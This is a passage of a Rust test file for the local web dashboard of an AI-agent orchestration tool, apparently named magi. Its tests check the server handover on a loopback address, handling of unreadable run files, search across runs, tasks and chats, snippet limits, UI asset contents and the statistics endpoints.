11163 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11175 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11176 let home = TempDir::new().expect("temp home");
11177 let runs = home.path().join("runs");
11178 std::fs::create_dir_all(&runs).expect("runs dir");
11179 let ui = Ui::new(
11180 Queue::at(home.path().join("queue")),
11181 Questions::at(home.path().join("questions")),
11182 Talks::at(home.path().join("talks")),
11183 runs,
11184 home.path().to_path_buf(),
11185 PathBuf::from("/repo/magi"),
11186 )
11187 .with_worktrees_root(home.path().join("wt"))
11188 .with_launch(launch_knocking_on_the_way_out);
11189 let looping = ui.looping();
11190 let turns = ui.turns();
11191 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11192 .await
11193 .expect("bind loopback");
11194 let addr = listener.local_addr().expect("local addr");
11195 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11196 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11197
11198 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11199 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11200
11201 let bound = std::sync::Mutex::new(None);
11216 hand_over(
11217 home.path(),
11218 &looping,
11219 &turns,
11220 &|_: &[String]| Duration::from_secs(5),
11221 served,
11222 |_| {
11223 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11224 let attempt = loop {
11225 match std::net::TcpListener::bind(addr) {
11226 Ok(l) => {
11227 drop(l);
11228 break Ok(());
11229 }
11230 Err(e)
11231 if e.kind() == std::io::ErrorKind::AddrInUse
11232 && std::time::Instant::now() < deadline =>
11233 {
11234 std::thread::sleep(std::time::Duration::from_millis(10));
11235 }
11236 Err(e) => break Err(e.to_string()),
11237 }
11238 };
11239 *bound.lock().expect("bound") = Some(attempt);
11240 Ok(1)
11241 },
11242 )
11243 .await
11244 .expect("hand over");
11245
11246 assert_eq!(
11247 *PARK_HEARD.lock().expect("park heard"),
11248 Some(200),
11249 "the deck must answer while the loop is parking"
11250 );
11251 let attempt = bound
11252 .lock()
11253 .expect("bound")
11254 .take()
11255 .expect("the successor was started");
11256 assert!(
11257 attempt.is_ok(),
11258 "and the address must be free by the time it is: {attempt:?}"
11259 );
11260 }
11261
11262 #[tokio::test]
11263 async fn a_newer_daemon_status_file_still_renders() {
11264 let f = Fixture::start().await;
11265 std::fs::write(
11268 f.home.path().join("daemon.json"),
11269 serde_json::json!({
11270 "schema": 2,
11271 "updated_at": Timestamp::now().to_string(),
11272 "idle": true,
11273 "surprise": { "nested": [1, 2, 3] },
11274 })
11275 .to_string(),
11276 )
11277 .expect("write daemon.json");
11278
11279 let health = f.get("/api/health").await;
11280
11281 assert_eq!(health.status, 200);
11282 assert_eq!(health.json()["daemon"]["running"], true);
11283 }
11284
11285 #[tokio::test]
11286 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11287 let f = Fixture::start().await;
11288 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11289 let broken = f.runs().join("20260902-140502-bad");
11290 std::fs::create_dir_all(&broken).expect("run dir");
11291 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11292
11293 let list = f.get("/api/runs").await;
11294 let detail = f.get("/api/runs/20260902-140502-bad").await;
11295
11296 assert_eq!(list.status, 200);
11297 let listed = list.json();
11298 let ids: Vec<&str> = listed
11299 .as_array()
11300 .expect("an array")
11301 .iter()
11302 .map(|r| r["id"].as_str().expect("an id"))
11303 .collect();
11304 assert_eq!(
11305 ids,
11306 vec!["20260902-140501-good"],
11307 "one unreadable run must not cost the operator the whole history"
11308 );
11309 assert_eq!(detail.status, 500);
11310 assert!(
11311 detail.json()["error"]
11312 .as_str()
11313 .is_some_and(|e| e.contains("run.json")),
11314 "the failure names the file to look at: {}",
11315 detail.body
11316 );
11317 let health = f.get("/api/health").await;
11321 assert_eq!(health.json()["runs_unreadable"], 1);
11322 }
11323
11324 #[tokio::test]
11326 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11327 let f = Fixture::start().await;
11328 let runs = f.runs();
11329 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11330 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11331 let path = runs.join("20260902-140502-bbbb").join("run.json");
11334 let mut v: serde_json::Value =
11335 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11336 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11337 std::fs::write(&path, v.to_string()).unwrap();
11338 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11339 std::fs::write(
11340 runs.join("20260902-140503-cccc").join("run.json"),
11341 "{ not json",
11342 )
11343 .unwrap();
11344
11345 let res = f.get("/api/search?scope=runs&q=quokka").await;
11346 assert_eq!(res.status, 200, "{}", res.body);
11347 let v = res.json();
11348 assert_eq!(v["total"], 1, "{v}");
11349 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11350 assert_eq!(v["hits"][0]["field"], "text");
11351 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11352 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11353 assert!(
11354 parts
11355 .iter()
11356 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11357 "{v}"
11358 );
11359 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11360 assert_eq!(
11361 flat, "The Quokka leaks across threads",
11362 "whitespace is collapsed"
11363 );
11364
11365 let both = f
11367 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11368 .await
11369 .json();
11370 assert_eq!(both["total"], 1, "{both}");
11371 let neither = f
11372 .get("/api/search?scope=runs&q=quokka%20zebra")
11373 .await
11374 .json();
11375 assert_eq!(neither["total"], 0, "{neither}");
11376 let stmt = f
11378 .get("/api/search?scope=runs&q=mobile%20first")
11379 .await
11380 .json();
11381 assert_eq!(stmt["total"], 2, "{stmt}");
11382 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11383 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11384 }
11385
11386 #[test]
11387 fn snippet_ignores_terms_longer_than_the_field() {
11388 let terms = ["ok".to_owned(), "elephant".to_owned()];
11389 let parts = snippet_of("ok", &terms);
11390 assert_eq!(
11391 parts,
11392 vec![SnippetPart {
11393 text: "ok".to_owned(),
11394 hit: true
11395 }]
11396 );
11397 }
11398
11399 #[test]
11400 fn snippet_marks_matches_longer_than_the_window() {
11401 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11402 let hit_len = |parts: &[SnippetPart]| -> usize {
11403 parts
11404 .iter()
11405 .filter(|p| p.hit)
11406 .map(|p| p.text.chars().count())
11407 .sum()
11408 };
11409 let total =
11410 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11411
11412 let long = "a".repeat(120);
11413 let parts = snippet_of(&long, std::slice::from_ref(&long));
11414 assert!(hit_len(&parts) > 0, "{parts:?}");
11415 assert!(total(&parts) <= cap);
11416
11417 let ja = "あ".repeat(130);
11418 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11419 assert!(hit_len(&parts) > 0, "{parts:?}");
11420 assert!(total(&parts) <= cap);
11421
11422 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11424 let term = format!("ab{}", "c".repeat(100));
11425 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11426 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11427 assert!(total(&parts) <= cap);
11428
11429 let text = format!("{}z", "a".repeat(119));
11431 let parts = snippet_of(&text, &["a".repeat(120)]);
11432 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11433 }
11434
11435 #[tokio::test]
11436 async fn search_caps_hits_and_snippet_length() {
11437 let f = Fixture::start().await;
11438 let runs = f.runs();
11439 for n in 0..(SEARCH_MAX_HITS + 5) {
11440 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11441 }
11442 let v = f.get("/api/search?scope=runs&q=web").await.json();
11443 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11444 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11445 assert_eq!(v["truncated"], true);
11446 assert!(
11448 v["hits"]
11449 .as_array()
11450 .unwrap()
11451 .iter()
11452 .all(|h| h["run"]["status"] == "merged")
11453 );
11454
11455 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11456 let parts = snippet_of(&long, &["needle".to_owned()]);
11457 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11458 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11459 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11460 }
11461
11462 #[tokio::test]
11463 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11464 let f = Fixture::start().await;
11465 let queue = f.queue();
11466 let mut t = Task::new(
11467 "short title".to_owned(),
11468 "line one\nthe hidden Armadillo detail".to_owned(),
11469 PathBuf::from("/repo/magi"),
11470 Source::Agent {
11471 run: "r1".to_owned(),
11472 node: "chat".to_owned(),
11473 },
11474 );
11475 t.last_error = Some("disk full on /tmp".to_owned());
11476 queue.put(&mut t).expect("file the task");
11477
11478 for (q, want) in [
11479 ("armadillo", 1),
11480 ("disk%20FULL", 1),
11481 ("chat", 1),
11482 ("queued", 1),
11483 ("short%20nothing", 0),
11484 ] {
11485 let v = f
11486 .get(&format!("/api/search?scope=tasks&q={q}"))
11487 .await
11488 .json();
11489 assert_eq!(v["total"], want, "{q}: {v}");
11490 }
11491 for bad in [
11492 "/api/search?scope=tasks&q=",
11493 "/api/search?scope=tasks&q=%20",
11494 "/api/search?scope=chats&q=",
11495 "/api/search?scope=chats&q=%20",
11496 "/api/search?scope=nope&q=a",
11497 "/api/search?q=a",
11498 ] {
11499 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11500 }
11501 }
11502
11503 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11505 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11506 .expect("seat value");
11507 let turns: Vec<serde_json::Value> = turns
11508 .iter()
11509 .map(|(who, body)| {
11510 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11511 })
11512 .collect();
11513 let doc = serde_json::json!({
11514 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11515 "status": status, "turns": turns,
11516 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11517 "seat": seat,
11518 });
11519 let dir = f.home.path().join("talks");
11520 std::fs::create_dir_all(&dir).expect("talks dir");
11521 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11522 }
11523
11524 #[tokio::test]
11525 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11526 let f = Fixture::start().await;
11527 write_talk(
11528 &f,
11529 "20260901-000001-aaaa",
11530 "open",
11531 &[
11532 (
11533 "operator",
11534 "\n Why does the Pangolin cache expire?\nsecond line",
11535 ),
11536 ("agent", "Because the TTL is thirty seconds."),
11537 ],
11538 );
11539 write_talk(
11540 &f,
11541 "20260901-000002-bbbb",
11542 "closed",
11543 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11544 );
11545 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11546
11547 let search = |q: &'static str| {
11548 let f = &f;
11549 async move {
11550 f.get(&format!("/api/search?scope=chats&q={q}"))
11551 .await
11552 .json()
11553 }
11554 };
11555
11556 let v = search("PANGOLIN").await;
11557 assert_eq!(v["scope"], "chats");
11558 assert_eq!(v["total"], 1, "{v}");
11559 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11560 assert_eq!(v["hits"][0]["field"], "title");
11561 assert_eq!(v["unreadable"], 1, "{v}");
11562 let marked: Vec<&str> = v["hits"][0]["snippet"]
11563 .as_array()
11564 .unwrap()
11565 .iter()
11566 .filter(|p| p["hit"] == true)
11567 .map(|p| p["text"].as_str().unwrap())
11568 .collect();
11569 assert_eq!(marked, ["Pangolin"]);
11570
11571 let v = search("zebra").await;
11573 assert_eq!(v["total"], 1, "{v}");
11574 assert_eq!(v["hits"][0]["field"], "agent");
11575 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11577 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11578 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11580 assert_eq!(search(q).await["total"], 0, "{q}");
11581 }
11582 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11584 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11586
11587 let v = f.get("/api/search?scope=nope&q=a").await;
11588 assert_eq!(v.status, 400);
11589 assert!(
11590 v.body.contains("scope must be runs, tasks or chats"),
11591 "{}",
11592 v.body
11593 );
11594 }
11595
11596 #[test]
11597 fn a_question_card_links_a_task_id_to_the_task_page() {
11598 let start = APP_JS
11599 .find("function updateAskCard(")
11600 .expect("updateAskCard exists");
11601 let body = &APP_JS[start..];
11602 let body = &body[..body.find("\n}\n").expect("function end")];
11603 assert!(body.contains("question.run_is_task"));
11604 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11605 assert!(body.contains("`#/runs/${question.run}`"));
11606 assert!(body.contains("\"task\" : \"run\""));
11607 }
11608
11609 #[test]
11610 fn stats_bars_share_one_id_keyed_plan() {
11611 let start = APP_JS
11612 .find("function statsBarRows(")
11613 .expect("statsBarRows exists");
11614 let body = &APP_JS[start..];
11615 let body = &body[..body.find("\n}\n").expect("function end")];
11616 assert!(body.contains("statsBarPlan(rows)"));
11617 assert!(body.contains("statsAgentTone(row.agent)"));
11618 assert!(!body.contains("candTone(i)"));
11619 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11620 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11621 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11622 }
11623 }
11624
11625 #[test]
11626 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11627 let start = APP_JS
11628 .find("function renderStatsReviewerScatter(")
11629 .expect("renderStatsReviewerScatter exists");
11630 let body = &APP_JS[start..];
11631 let body = &body[..body.find("\n}\n").expect("function end")];
11632 assert!(body.contains("statsScatterPlan(reviewers)"));
11633 assert!(body.contains("statsAgentTone(d.agent)"));
11634 assert!(APP_JS.contains("function statsScatterPlan("));
11635 assert!(
11636 APP_JS.contains("d.submitted < STATS_LOW_N")
11637 || APP_JS.contains("r.submitted < STATS_LOW_N")
11638 );
11639 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11640 assert!(APP_CSS.contains(".precision-scatter"));
11641 }
11642
11643 #[test]
11644 fn advisor_reflection_is_drawn_as_stacked_segments() {
11645 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11646 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11647 let html = include_str!("../assets/ui/index.html");
11648 assert!(html.contains("Approximate"));
11649 for label in ["reflected strongly", "faint", "no proposal"] {
11650 assert!(html.contains(label));
11651 }
11652 let css = include_str!("../assets/ui/app.css");
11653 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11654 assert!(css.contains(&format!(".{c} {{")));
11655 }
11656 }
11657
11658 #[test]
11659 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11660 assert!(APP_JS.contains("function statsDailyPlan("));
11661 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11662 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11663 }
11664
11665 #[test]
11666 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11667 let start = APP_JS
11668 .find("function scheduleSearch(")
11669 .expect("scheduleSearch exists");
11670 let body = &APP_JS[start..];
11671 let body = &body[..body.find("\n}\n").expect("function end")];
11672 assert!(body.contains("s.seq += 1"));
11673 }
11674
11675 #[tokio::test]
11680 async fn stats_runs_unreadable_matches_health() {
11681 let f = Fixture::start().await;
11682 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11683 let broken = f.runs().join("20260902-140502-bad");
11684 std::fs::create_dir_all(&broken).expect("run dir");
11685 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11686
11687 let stats = f.get("/api/stats").await;
11688 let health = f.get("/api/health").await;
11689
11690 assert_eq!(stats.status, 200);
11691 assert_eq!(stats.json()["totals"]["runs"], 1);
11692 assert_eq!(stats.json()["runs_unreadable"], 1);
11693 assert_eq!(
11694 stats.json()["runs_unreadable"],
11695 health.json()["runs_unreadable"],
11696 "the dashboard and /api/health must never disagree about how many \
11697 runs could not be read"
11698 );
11699 }
11700
11701 #[tokio::test]
11702 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11703 let f = Fixture::start().await;
11704 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11705 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11706 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11707
11708 let totals = &f.get("/api/stats").await.json()["totals"];
11709 assert_eq!(totals["runs"], 3);
11710 assert_eq!(totals["merged"], 1);
11711 assert_eq!(totals["stalled"], 1);
11712 assert_eq!(totals["in_progress"], 1);
11713 assert_eq!(totals["blocked"], 0);
11716 assert_eq!(totals["ready"], 0);
11717 }
11718
11719 #[tokio::test]
11720 async fn stats_advisors_report_proposals_and_reflection() {
11721 use crate::advise::{Advice, AdvisorRecord, Reflection};
11722 use crate::verdict::Proposal;
11723
11724 let f = Fixture::start().await;
11725 let mut state = RunState::new(
11726 PathBuf::from("/repo/magi"),
11727 "main".to_owned(),
11728 "0123456789abcdef".to_owned(),
11729 "task".to_owned(),
11730 Config::default(),
11731 );
11732 state.id = "20260902-140501-a".to_owned();
11733 state.status = RunStatus::Merged;
11734 state.advice = Some(Advice {
11735 records: vec![
11736 AdvisorRecord {
11737 seat: "advisor-1".to_owned(),
11738 agent: "alpha".to_owned(),
11739 proposal: Some(Proposal {
11740 approach: "do it".to_owned(),
11741 key_tradeoff: "speed over memory".to_owned(),
11742 risks: Vec::new(),
11743 touches: Vec::new(),
11744 why_not_naive: "breaks under load".to_owned(),
11745 }),
11746 error: None,
11747 duration_ms: 0,
11748 reflection: Reflection::Strong,
11749 },
11750 AdvisorRecord {
11751 seat: "advisor-2".to_owned(),
11752 agent: "alpha".to_owned(),
11753 proposal: None,
11754 error: Some("timed out".to_owned()),
11755 duration_ms: 0,
11756 reflection: Reflection::Absent,
11757 },
11758 ],
11759 synthesis: Some("blended brief".to_owned()),
11760 });
11761 let dir = f.runs().join(&state.id);
11762 std::fs::create_dir_all(&dir).expect("run dir");
11763 std::fs::write(
11764 dir.join("run.json"),
11765 serde_json::to_string_pretty(&state).expect("serialize run"),
11766 )
11767 .expect("write run.json");
11768
11769 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11771 let alpha = advisors
11772 .as_array()
11773 .expect("an array")
11774 .iter()
11775 .find(|a| a["agent"] == "alpha")
11776 .expect("alpha row");
11777 assert_eq!(alpha["seated"], 2);
11778 assert_eq!(alpha["proposed"], 1);
11779 assert_eq!(alpha["absent"], 1);
11780 assert_eq!(alpha["strong"], 1);
11781 assert_eq!(alpha["faint"], 0);
11782 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11783 }
11784
11785 #[tokio::test]
11786 async fn stats_hides_agents_outside_the_roster_unless_all() {
11787 use crate::run::Candidate;
11788 let repo = TempDir::new().expect("repo dir");
11789 std::fs::write(
11790 repo.path().join("magi.toml"),
11791 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11792 )
11793 .expect("magi.toml");
11794 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11795 let mut state = RunState::new(
11796 PathBuf::from("/repo/magi"),
11797 "main".to_owned(),
11798 "0123456789abcdef".to_owned(),
11799 "task".to_owned(),
11800 Config::default(),
11801 );
11802 state.id = "20260902-140501-a".to_owned();
11803 state.status = RunStatus::Merged;
11804 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11805 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11806 "index": 0, "label": label.to_string(), "agent": agent,
11807 "branch": "b", "worktree": "/w",
11808 }))
11809 .expect("candidate");
11810 c.label = label;
11811 state.candidates.push(c);
11812 }
11813 let dir = f.runs().join(&state.id);
11814 std::fs::create_dir_all(&dir).expect("run dir");
11815 std::fs::write(
11816 dir.join("run.json"),
11817 serde_json::to_string_pretty(&state).expect("serialize run"),
11818 )
11819 .expect("write run.json");
11820
11821 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11822 v["agents"]
11823 .as_array()
11824 .expect("array")
11825 .iter()
11826 .map(|a| a["agent"].as_str().unwrap().to_owned())
11827 .collect()
11828 };
11829 let hidden = f.get("/api/stats").await.json();
11830 assert_eq!(agents_of(&hidden), ["keep"]);
11831 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11832 assert_eq!(hidden["totals"]["runs"], 1);
11833
11834 let all = f.get("/api/stats?all=true").await.json();
11835 assert_eq!(agents_of(&all).len(), 2);
11836 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11837 }
11838
11839 #[tokio::test]
11840 async fn stats_release_bumps_split_clean_from_attention() {
11841 use crate::run::ReleaseBump;
11842
11843 let f = Fixture::start().await;
11844
11845 let mut clean = RunState::new(
11846 PathBuf::from("/repo/magi"),
11847 "main".to_owned(),
11848 "0123456789abcdef".to_owned(),
11849 "task".to_owned(),
11850 Config::default(),
11851 );
11852 clean.id = "20260902-140501-a".to_owned();
11853 clean.status = RunStatus::Merged;
11854 clean.release_bump = Some(ReleaseBump {
11855 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11856 version: Some("1.0.0".to_owned()),
11857 automerge_enabled: true,
11858 merged_directly: false,
11859 local: false,
11860 release: None,
11861 problem: None,
11862 action_required: None,
11863 });
11864
11865 let mut blocked = RunState::new(
11866 PathBuf::from("/repo/magi"),
11867 "main".to_owned(),
11868 "0123456789abcdef".to_owned(),
11869 "task".to_owned(),
11870 Config::default(),
11871 );
11872 blocked.id = "20260902-140502-b".to_owned();
11873 blocked.status = RunStatus::Merged;
11874 blocked.release_bump = Some(ReleaseBump {
11875 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11876 version: Some("1.0.1".to_owned()),
11877 automerge_enabled: false,
11878 merged_directly: false,
11879 local: false,
11880 release: None,
11881 problem: Some("checks red".to_owned()),
11882 action_required: Some("look at the PR".to_owned()),
11883 });
11884
11885 for state in [&clean, &blocked] {
11886 let dir = f.runs().join(&state.id);
11887 std::fs::create_dir_all(&dir).expect("run dir");
11888 std::fs::write(
11889 dir.join("run.json"),
11890 serde_json::to_string_pretty(state).expect("serialize run"),
11891 )
11892 .expect("write run.json");
11893 }
11894
11895 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11896 assert_eq!(bumps["merged"], 2);
11897 assert_eq!(bumps["recorded"], 2);
11898 assert_eq!(bumps["pr_opened"], 2);
11899 assert_eq!(bumps["automerge_enabled"], 1);
11900 assert_eq!(bumps["needs_attention"], 1);
11901 assert_eq!(bumps["clean"], 1);
11902 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11903 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11904 }
11905
11906 #[tokio::test]
11907 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11908 let f = Fixture::start().await;
11909 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11910
11911 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11912 assert_eq!(bumps["merged"], 1);
11913 assert_eq!(bumps["recorded"], 0);
11914 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11917 assert_eq!(bumps["automerge_rate"], Value::Null);
11920 assert_eq!(bumps["attention_rate"], Value::Null);
11921 }
11922
11923 #[tokio::test]
11924 async fn stats_queue_counts_come_from_the_live_queue() {
11925 let f = Fixture::start().await;
11926 let q = f.queue();
11927 let mut queued = Task::new(
11928 "queued task".to_owned(),
11929 "do it".to_owned(),
11930 PathBuf::from("/repo"),
11931 Source::Human,
11932 );
11933 q.put(&mut queued).expect("put queued");
11934 let mut held = Task::new(
11935 "held task".to_owned(),
11936 "do it later".to_owned(),
11937 PathBuf::from("/repo"),
11938 Source::Human,
11939 );
11940 held.hold_machine(Some("out of attempts".to_owned()));
11941 q.put(&mut held).expect("put held");
11942
11943 let queue = f.get("/api/stats").await.json()["queue"].clone();
11944 assert_eq!(queue["queued"], 1);
11945 assert_eq!(queue["held"], 1);
11946 assert_eq!(queue["running"], 0);
11947 assert_eq!(queue["done"], 0);
11948 assert_eq!(queue["failed"], 0);
11949 assert_eq!(queue["blocked"], 0);
11950 }
11951
11952 #[tokio::test]
11953 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11954 let f = Fixture::start().await;
11955 let stats = f.get("/api/stats").await;
11956 assert_eq!(stats.status, 200);
11957 assert_eq!(stats.json()["totals"]["runs"], 0);
11958 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11959 assert_eq!(stats.json()["runs_unreadable"], 0);
11960 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11961 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11962 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11963 assert_eq!(stats.json()["repo"], Value::Null);
11964 }
11965
11966 #[tokio::test]
11967 async fn stats_lists_every_repository_with_runs_recorded() {
11968 let f = Fixture::start().await;
11969 write_run_repo(
11970 &f.runs(),
11971 "20260902-140501-a",
11972 RunStatus::Merged,
11973 "/repos/a",
11974 );
11975 write_run_repo(
11976 &f.runs(),
11977 "20260902-140502-b",
11978 RunStatus::Merged,
11979 "/repos/a",
11980 );
11981 write_run_repo(
11982 &f.runs(),
11983 "20260902-140503-c",
11984 RunStatus::Blocked,
11985 "/repos/b",
11986 );
11987
11988 let stats = f.get("/api/stats").await;
11989 assert_eq!(stats.status, 200);
11990 assert_eq!(stats.json()["totals"]["runs"], 3);
11992 assert_eq!(stats.json()["repo"], Value::Null);
11993
11994 let repos = stats.json()["repos"].clone();
11995 let repos = repos.as_array().unwrap();
11996 assert_eq!(repos.len(), 2);
11997 assert_eq!(repos[0]["repo"], "/repos/a");
11999 assert_eq!(repos[0]["name"], "a");
12000 assert_eq!(repos[0]["runs"], 2);
12001 assert_eq!(repos[1]["repo"], "/repos/b");
12002 assert_eq!(repos[1]["runs"], 1);
12003 }
12004
12005 #[tokio::test]
12006 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12007 let f = Fixture::start().await;
12008 write_run_repo(
12009 &f.runs(),
12010 "20260902-140501-a",
12011 RunStatus::Merged,
12012 "/repos/a",
12013 );
12014 write_run_repo(
12015 &f.runs(),
12016 "20260902-140502-b",
12017 RunStatus::Blocked,
12018 "/repos/b",
12019 );
12020
12021 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12022 assert_eq!(stats.status, 200);
12023 assert_eq!(stats.json()["totals"]["runs"], 1);
12024 assert_eq!(stats.json()["totals"]["merged"], 1);
12025 assert_eq!(stats.json()["repo"], "/repos/a");
12026 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12029 assert_eq!(stats.json()["runs_unreadable"], 0);
12032 }
12033
12034 #[tokio::test]
12035 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12036 let f = Fixture::start().await;
12037 write_run_repo(
12038 &f.runs(),
12039 "20260902-140501-a",
12040 RunStatus::Merged,
12041 "/repos/a",
12042 );
12043 write_run_repo(
12044 &f.runs(),
12045 "20260902-140502-b",
12046 RunStatus::Merged,
12047 "/repos/b",
12048 );
12049
12050 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12051 let json = f.get(uri).await.json();
12052 let daily = json["daily"].as_array().expect("daily is an array");
12053 assert_eq!(daily.len(), 30);
12054 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12055 let mut sorted = dates.clone();
12056 sorted.sort();
12057 assert_eq!(dates, sorted);
12058 for d in daily {
12059 assert_eq!(
12060 d["merged"].as_u64().unwrap()
12061 + d["ready"].as_u64().unwrap()
12062 + d["other"].as_u64().unwrap(),
12063 d["runs"].as_u64().unwrap()
12064 );
12065 }
12066 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12067 }
12068 }
12069
12070 #[tokio::test]
12071 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12072 let f = Fixture::start().await;
12073 write_run_repo(
12074 &f.runs(),
12075 "20260902-140501-a",
12076 RunStatus::Merged,
12077 "/repos/a",
12078 );
12079
12080 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12081 assert_eq!(stats.status, 404);
12082 }
12083
12084 #[tokio::test]
12085 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12086 let f = Fixture::start().await;
12087 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12088
12089 let summary = f.get("/api/runs").await.json();
12090 let row = &summary[0];
12091 assert_eq!(row["short"], "a1b2");
12092 assert_eq!(row["status"], "ready");
12093 assert_eq!(row["done"], true);
12094 assert_eq!(row["title"], "Add a web UI");
12095 assert_eq!(row["repo_name"], "magi");
12096 assert_eq!(row["judges"], 3);
12097 assert_eq!(row["winner"], Value::Null);
12098 assert_eq!(row["reviews"], 0);
12099
12100 let detail = f.get("/api/runs/a1b2").await;
12103 assert_eq!(detail.status, 200);
